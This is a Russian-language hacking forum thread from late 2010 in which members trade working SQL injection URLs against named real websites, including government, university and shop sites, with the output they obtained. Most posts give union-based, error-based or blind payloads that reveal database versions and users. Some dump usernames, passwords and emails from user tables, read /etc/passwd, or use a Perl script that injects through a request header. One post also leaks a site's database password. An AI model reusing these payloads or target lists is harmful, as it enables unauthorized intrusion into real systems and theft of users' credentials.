Старый 21.10.2010, 22:11   #241
-PRIVAT-
 
Регистрация: 06.07.2010
Сообщений: 10
Репутация: 5
По умолчанию

SQL inj:
Цитата:
http://www.floridashowcaseproperties.com/agents.php?agent_id=634%27%20or%201%20group%20by%2 0concat%28version%28%29,floor%28rand%280%29*2%29%2 9having%20min%280%29%20or%201--%201


Цитата:
http://www.century21aaanorth.com/viewagent.php?agent_id=519%20or%201%20group%20by%2 0concat(version(),floor(rand(0)*2))having%20min(0) %20or%201--%201


Цитата:
http://www.ecgi.org/codes/code.php?code_id=132%20or%201%20group%20by%20conca t(version(),floor(rand(0)*2))having%20min(0)%20or% 201--%201


Цитата:
http://www.svenmon.ru/question/?menuAsk=lookAnsw&quest_id=-21%20union%20select%201,2,3,4,5,6--


Цитата:
http://www.pro-estate.ru/showalla.html?agent_id=-58057%20or%201%20group%20by%20concat(version(),flo or(rand(0)*2))having%20min(0)%20or%201--%201


Цитата:
http://www.shropshiretelfordwrekinsportspartnership.org.u k/club_detail2.php?club_id=-258%20union%20select%201,2,version(),4,5,6--


Цитата:
http://www.nid.org.na/view_book_entry.php?book_id=136%20concat_ws(0x3a,u sername,password),2,3,4,5,6,7,8,9,10--
-PRIVAT- вне форума  
Старый 23.10.2010, 13:26   #242
}{оттабыч
Banned
 
Регистрация: 08.10.2010
Сообщений: 188
Репутация: 53
По умолчанию

Код:
http://llk.media.mit.edu/spotlight.php?id=%28select*from%28select%20name_const%28version%28%29,1%29,name_const%28version%28%29,1%29%29a%29%23
5.0.51a-24+lenny3
Код:
http://www.navarrocollege.edu/athletics.php?id=1%27%20and%200%20union%20select%201,version%28%29,3,4,5,6,7,8,9--%20&sport=Football
5.0.45

Код:
http://askort.com/?item_id=%28select%20count%28*%29%20from%20%28select%201%20union%20select%202%20union%20select%203%29x%20group%20by%20concat%28version%28%29,floor%28rand%280%29*2%29%29%29
4.1.251

Код:
http://www.icewarm.com.au/page.php?pId=%28select%20count%28*%29%20from%20%28select%201%20union%20select%202%20union%20select%203%29x%20group%20by%20concat%28version%28%29,floor%28rand%280%29*2%29%29%29--
4.1.211


Код:
http://www.dvuser.co.uk/content.php?CID=174/*!%20and%200%20union%20select%201,2,3,version%28%29,5,6,7,8,9,10,11*/%20--
5.1.51,обход waf.
}{оттабыч вне форума  
Старый 28.10.2010, 08:45   #243
lukmus
 
Аватар для lukmus
 
Регистрация: 11.08.2010
Сообщений: 136
Репутация: 20
По умолчанию

PHP код:
http://www.vetcontact.com/en/pdf.php?k='35 
версия: 3.23.48-log
пользователь: heimpel@localhost

PHP код:
http://www.stohlquist.com/cat.php?k=0+union+select+1,2,3,4,version(),6,7,8+-- 
таблицы:
PHP код:
zip_data_canada_dump,zip_data_dump,cat_desc_dump,cat_dump,cat_prod_dump,dealer_list,option_dump,option_group_dump,product_dump,product_feature_dump,product_image_dump,product_relations_dump,product_restrictions_dump,promotion_auth_dump,promotion_dump,spec_dump 
__________________
Контактный XMPP: lukmus[собака]wallstreetjabber.biz
lukmus вне форума  
Старый 30.10.2010, 21:06   #244
}{оттабыч
Banned
 
Регистрация: 08.10.2010
Сообщений: 188
Репутация: 53
По умолчанию

Код:
$url="http://www.aroundthecapitol.com";
$query="' or (1,2)=(select * from( select name_const(version(),1),name_const(version(),1) )a) and '1'='1";
#my $proxy="http://0.0.0.0:port";
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
#$ua->proxy(['http','https'],"$proxy");
my $req = HTTP::Request->new(GET => "$url",['User-Agent' => "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3",'CLIENT_IP' => "$query"]);
my $res = $ua->request($req);
if ($res->as_string =~ /Duplicate column name \'(.+)\'<br \/>/)
 {
 print "Using proxy ".$proxy."\n";
 print "info : $1";
 open(FILE,'>>results.txt');
 print FILE "\n".$url."\n";
 print FILE "$1";
 close(FILE);
 }
5.0.91-community

Код:
http://www.zol.ru/review/show.php?ids[0]=4757%20and%200%20union%20select%201,2,3,4,5,6,7,8,9,10,11--
тиц900 pr5

version()->5.0.90-log
user()->article@localhost
database()->article
ОС portbld->freebsd7.2

Доступа до mysql.user нет.
Код:
http://www.zol.ru/review/show.php?ids[0]=4757 and 0 union select 1,2,3,'4',5,group_concat(schema_name separator 0x3a) ,7,8,9,10,11 from information_schema.schemata--
information_schema:article:rvs:test:test_live_user _zol

article
Код:
http://www.zol.ru/review/show.php?ids[0]=4757%20and%200%20union%20select%201,2,3,%274%27,5,group_concat%28table_name%20separator%200x3a%29%20%20,7,8,9,10,11%20from%20information_schema.tables%20where%20table_schema=%27article%27--
Attach:Author:Category:Editors:File:File_Types:Ima ge:Materials:Materials_Kommers:Materials_Vedomosti :PermissionC:Site:System

Код:
http://www.zol.ru/review/show.php?ids[0]=4757%20and%200%20union%20select%201,2,3,4,5,group_concat%28concat_ws%28%27:%27,Au_Login,Au_Pass,Au_Email%29%20separator%20%27~%27%29,7,8,9,10,11%20from%20Author--
2858 пользователей.
Код:
http://www.zol.ru/review/show.php?ids[0]=4757%20and%200%20union%20select%201,2,3,4,5,group_concat%28concat_ws%28%27:%27,ChatUsers_Login,ChatUsers_Password,ChatUsers_Email%29%20separator%20%27~%27%29,7,8,9,10,11%20from%20rvs.ChatUsers--

Последний раз редактировалось Ded MustD!e; 14.11.2010 в 18:04..
}{оттабыч вне форума  
Старый 03.11.2010, 19:21   #245
aka_zver
 
Аватар для aka_zver
 
Регистрация: 06.07.2010
Сообщений: 63
Репутация: 37
По умолчанию

http://as.americas-society.org
ТИЦ: 0
PR: 5
Код:
http://as.americas-society.org/program_category.php?id=999+union+select+1,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),3,4,5,6,7,8,9/*
version - 4.1.22
user - ascoauser@localhost
database - ascoa
os - redhat-linux-gnu

================================================== =============================================
http://www.cipa-rus.ru
ТИЦ: 40
PR: 4
Код:
http://www.cipa-rus.ru/program.php?id=-9+union+select+1,2,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),4,5,6--
version - 5.0.90-log
user - u76425@10.8.0.62
database - u76425_cipa
os - portbld-freebsd7.2

================================================== =============================================
http://www.mappn.com
ТИЦ: 0
PR: 3
Код:
http://www.mappn.com/soft.php?id=2+or+1+group+by+concat(concat_ws(0x3a3a,version(),user(),database(),@@version_compile_os),rand(0)|0)+having+min(0)--

http://www.mappn.com/soft.php?id=2+or+1+group+by+concat((select+concat(memberName,0x3a3a,passwd,0x3a3a)+from+smf_members+limit+1,1),rand(0)|0)+having+min(0)--
version - 5.0.45
user - mappn@192.168.51.100
database - mappn
os - redhat-linux-gnu

================================================== =============================================
http://www.allview.ro
ТИЦ: 0
PR: 3
Код:
http://www.allview.ro/xperienceen/soft.php?id=-3+union+select+1,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7--
version - 5.0.51a-24+lenny3
user - liviu@localhost
database - xperienceen
os - debian-linux-gnu

================================================== =============================================
http://www.soft-php.com
ТИЦ: 0
PR: 0
Код:
http://www.soft-php.com/index.php?option=com_osticket&pgn=details&id=3+and+mid(version(),1,1)=5--
blind, т.к. "union select" фильтруется напрочь
но.. пох)
version - 5.0.91-community
user - softphp_root@localhost
database - softphp_dbroot
os - unknown-linux-gnu

================================================== =============================================
http://tjsc25.tj.sc.gov.br
ТИЦ: 0
PR: 0
Код:
http://tjsc25.tj.sc.gov.br/academia/cejur/eventos/ver_eventos.php?eventos=-211+union+select+1,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),3,4,5,6,7,8,9,0,1,2--
version - 5.0.41-community
user - academia@localhost
database - moodle
os - pc-linux-gnu

http://www.tampabaysports.org
ТИЦ: 0
PR: 5
Код:
http://www.tampabaysports.org/youth_programs/program.php?id=-3+union+select+1,concat_ws(0x0b,version(),user(),database(),@@version_compile_os,@@tmpdir,@@datadir,@@basedir,concat(user,0x3a3a,password)),load_file(0x2F6574632F706173737764),4+from+mysql.user--
version - 5.0.51A-3UBUNTU5.7
user - ROOT@LOCALHOST
database - TAMPABAYSPORTS
os - DEBIAN-LINUX-GNU

Последний раз редактировалось Ded MustD!e; 14.11.2010 в 18:05..
aka_zver вне форума  
Старый 05.11.2010, 04:12   #246
skM
 
Регистрация: 06.07.2010
Сообщений: 95
Репутация: 8
По умолчанию

Интернет-магазин
Цитата:
http://market.arabio.ru/goods/44064/89+or+(select+count(*)+from+(select+1+union+select +2+union+select+3)x+group+by+concat(concat_ws(0x3a ,user(),database(),version()),floor(rand(0)*2)))--+
a04004_market@localhost:a04004_market:5.1.21-beta-log

тИЦ 600
PR 5
skM вне форума  
Старый 05.11.2010, 13:22   #247
aka_zver
 
Аватар для aka_zver
 
Регистрация: 06.07.2010
Сообщений: 63
Репутация: 37
По умолчанию

http://www.tabloidgames.com
ТИЦ: 0
PR: 3
Код:
http://www.tabloidgames.com/game.php?id=9+or+1+group+by+concat(concat_ws(0x3a3a,version(),user(),database(),@@version_compile_os,0x3a3a),rand(0)|0)+having+min(0)--
version - 5.0.91-log
user - tabloid@72.167.183.42
database - tabloid
os - unknown-linux-gnu

================================================== ================
http://www.splashworks.com
ТИЦ: 10
PR: 4
Код:
http://www.splashworks.com/game.php?id=9999+or+1+group+by+concat(concat_ws(0x3a3a,version(),user(),database(),@@version_compile_os),rand(0)|0)+having+min(0)--

http://www.splashworks.com/game.php?id=9999+or+1+group+by+concat((select+email+from+2on2hockeyDB+limit+0,1),rand(0)|0)+having+min(0)--
version - 5.0.91-log
user - splashgames@208.109.181.187
database - splashgames
os - unknown-linux-gnu
------
P.S. постилось тут, но там время ещё 3-й ветки =\

================================================== ================
http://www.biclopsgames.com
ТИЦ: 0
PR: 4
Код:
http://www.biclopsgames.com/game.php?id=6+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x3a3a,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--

http://www.biclopsgames.com/game.php?id=6+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat((select+concat_ws(0x3a3a,id,username,user_password,user_level,0x3a)+from+biclops_phpb1.phpbb_users+limit+0,1),floor(rand(0)*2)))--
version - 5.0.91-community
user - biclops_biclops@localhost
database - biclops_main
os - pc-linux-gnu

================================================== ================
http://cplay.ru
ТИЦ: 0
PR: 2
Код:
http://cplay.ru/list.php?c=1+or+1+group+by+concat(concat_ws(0x3a3a,version(),user(),database(),@@version_compile_os),rand(0)|0)+having+min(0)--
version - 5.1.41-log
user - m18058@fhe7.hoster.ru
database - db18058m
os - portbld-freebsd8.0

================================================== ================
http://www.funtoosh.com
ТИЦ: 10
PR: 4
Код:
http://www.funtoosh.com/pictures/funny_picture.php?id=-1155+union+select+1,2,3,4,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),6,7--
version - 4.1.20-log
user - fpictures@localhost
database - pictures
os - redhat-linux-gnu

чё-т тишина)
-------------
http://eu.square-enix.com
ТИЦ: 0
PR: 6
Код:
http://eu.square-enix.com/wiiware/game.php?id=-15+union+select+1,concat_ws(0x3a3a,version(),user(),database(),@@version_compile_os),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,group_concat(0x0b,table_name),22,23,24,25,26,27,28,29,30,31,32+from+information_schema.tables+where+table_schema!=0x696E666F726D6174696F6E5F736368656D61--
version - 5.0.77-community-nt
user - wiiware@localhost
database - wiiwareportal_cms
os - Win32

================================================
http://www.17diyba.cn
ТИЦ: 0
PR: 3
Код:
http://www.17diyba.cn/article.php?id=979+or+1+group+by+concat((concat_ws(0x3a3a,version(),user(),database())),rand(0)|0)+having+min(0)--
version - 5.1.31
user - s423832db0@localhost
database - s423832db0

================================================
http://www.faceculture.nl
ТИЦ: 10
PR: 3
Код:
http://www.faceculture.nl/artist.php?id=770+or+1+group+by+concat((concat_ws(0x3a3a,version(),user(),database(),@@version_compile_os)),rand(0)|0)+having+min(0)--
version - 5.0.77
user - faceculture@localhost
database - faceculture
os - redhat-linux-gnu

================================================
http://www.dunlopdriverscup.nl
ТИЦ: 0
PR: 3
Код:
http://www.dunlopdriverscup.nl/2009/news.php?id=313+and+mid(version(),1,1)=5--&page=8
version - 5.0.51a-3ubuntu5.7-log
user - goodyeardunlop@83.98.169.115
database - dunlopdriverscup_nl
os - debian-linux-gnu

================================================
http://www.swfplay.net
ТИЦ: 0
PR: 2
Код:
http://www.swfplay.net/game.php?id=74+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x3a3a,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))/**/
version - 5.0.51a-24+lenny3-log
user - u_swfplay@localhost
database - swfplay
os - debian-linux-gnu

================================================
http://www.zupidoo.com
ТИЦ: 0
PR: 2
Код:
http://www.zupidoo.com/game.php?id=-49+union+select+1,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),3,4,5,6,group_concat(schema_name,0x3a3a),8,9,0,1,2,3,4,5,6+from+information_schema.schemata--
version - 5.0.91-log
user - zupidoo@97.74.215.56
database - zupidoo
os - unknown-linux-gnu

================================================

.GOV

================================================
http://www.uibm.gov.it
ТИЦ: 20
PR: 8
Код:
http://www.uibm.gov.it/index.php?option=com_content&view=article&id=2004049+and+1=0+union+select+1,2,3,4,5,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),7,8,9,0,1,2,3,4--%3Astudi-focus-statistiche-rapporti-dossier&lang=it
version - 5.1.41-3ubuntu12.3-log
user - uibmredazione@localhost
database - pubblico
os - debian-linux-gnu

================================================
http://www.ccpitzj.gov.cn
ТИЦ: 0
PR: 6
Код:
http://www.ccpitzj.gov.cn./showpassage_E.php?id=-762+union+select+1,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),3,4,5,6,7,8,9,10,11,12,13,14--
version - 4.1.22
user - ccpitzj070823@localhost
database - ccpitzj070823
os - redhat-linux-gnu

================================================
http://www.hzsq.gov.cn
ТИЦ: 0
PR: 5
Код:
http://www.hzsq.gov.cn/news.php?id=154+and+substring(version(),1,1)=3--
database - hzsq
version - 3.23.37
user - hzsq@WEBSERVER-73

================================================
http://gulin.nbyz.gov.cn
ТИЦ: 0
PR: 4
Код:
http://gulin.nbyz.gov.cn/search.php?keyword=lol&range=title+and+1=0+/*!union*/+select+1,2,3,4,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),6,7,8,9,0,1,2,3,4,5,6,7,8--
version - 4.1.22-community-nt
user - gulin@NBYZ-B286884840
database - gulin
os - Win32

================================================
http://www.iccastaldi.gov.it
ТИЦ: 0
PR: ?
Код:
http://www.iccastaldi.gov.it/webschool/news.php?id=-38+union+select+1,2,3,4,5,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),7,8,9,0,1,2--
version - 5.0.37-community-nt
user - castweb@localhost
database - castwebschool
os - Win32

Последний раз редактировалось Ded MustD!e; 14.11.2010 в 18:04..
aka_zver вне форума  
Старый 07.11.2010, 02:03   #248
skM
 
Регистрация: 06.07.2010
Сообщений: 95
Репутация: 8
По умолчанию

Цитата:
http://bizprt.ru/?id=9032+and+0+union+select+1,group_concat%28table _name%29,3,4,5,6+from+information_schema.tables--+
тИЦ 50
PR 2
skM вне форума  
Старый 07.11.2010, 22:06   #249
aka_zver
 
Аватар для aka_zver
 
Регистрация: 06.07.2010
Сообщений: 63
Репутация: 37
По умолчанию

еда ^^
-----------------------
http://aeer.cctpu.edu.ru
ТИЦ: 170
PR: 4
(http://cctpu.edu.ru - ТИЦ: 350 PR: 4)
Код:
http://aeer.cctpu.edu.ru/engn/db_vuz/db_view.phtml?reg=-1+union+select+concat_ws(0x0b,concat_ws(0x3a3a,version(),user(),database(),@@version_compile_os),concat_ws(0x3a3a,access_code,email,hostname))+from+otvpo_users--
version - 5.1.50
user - rcsit@localhost
database - rcsit
os - pc-linux-gnu
aka_zver вне форума  
Старый 10.11.2010, 22:31   #250
z0mbyak
 
Регистрация: 10.11.2010
Сообщений: 21
Репутация: 11
По умолчанию

Цитата:
http://top7.ru/destinations/?country=-51+union+select+1,2,3,concat(user,0x3a,password,0x 3a,Load_File('../../../../../../../../etc/passwd')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19, 20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 ,37,38,39,40,41,42,43,44+from+mysql.user--
ROOT@LOCALHOST:TOP7:5.5.4-M3-LOG

P.S Пасс к базе sergeyz

PR 3 ТиЦ 20

Цитата:
http://www.solvex.ru/tourists/?uid=41&city=53+union+select+1,concat(user,0x3a,pa ssword,0x3a,file_priv),3,4,5,6+from+mysql.user--
root@localhost:solvexmdb:5.1.39

PR 5 ТиЦ 950

P.S. Вывод в самом низу в первой колонке...

А вот и мой первый пост:-)

http://www.ivanovonet.ru/topic.php?topic=1+UNION+ALL+SELECT+11111111111,con cat%28user%28%29,0x3a,version%28%29,0x3a,database% 28%29%29,3222222222222,4111111111111111--&forum=0

ivnet@hosting.tpi.ru:5.0.77:ivnet

З.Ы. Вывод внизу

Последний раз редактировалось Ded MustD!e; 14.11.2010 в 18:03..
z0mbyak вне форума  
Закрытая тема

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot